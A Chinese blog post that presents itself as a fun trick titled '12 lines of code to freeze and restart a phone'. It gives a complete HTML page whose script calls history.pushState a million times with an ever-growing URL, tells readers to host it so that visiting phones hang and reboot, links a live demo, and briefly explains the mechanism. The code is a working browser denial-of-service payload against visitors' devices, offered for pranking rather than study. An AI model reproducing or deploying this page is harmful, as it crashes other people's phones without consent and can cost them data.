导航

12行代码让手机卡死重启

本次为大家搞个好玩的东西 12行代码让手机卡死崩溃然后重启

把下面的代码放在一个html页面 然后在用手机访问那个页面就会卡死重启了

代码如下:

<html>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
total= total+i.toString();
history.pushState(0,0,total);
}
</script>
</body>
</html>
在线演示地址:hao.zige.la/ios.html    (慎点!!)
然后给大家说说他的原理:
history.pushstate()是HTML5引入的API,
pushState将指定的URL添加到浏览器历史里,存储当前历史记录点。 
当 i<100000 的时候会循环的将 total记录到浏览器历史里面,然后会一直重复 然后就卡死  就是这样

» 转载保留版权:技术爱好者 » 《12行代码让手机卡死重启》

» 本文链接地址:https://www.jsahz.com/9492.html

作者:技术爱好者
返回顶部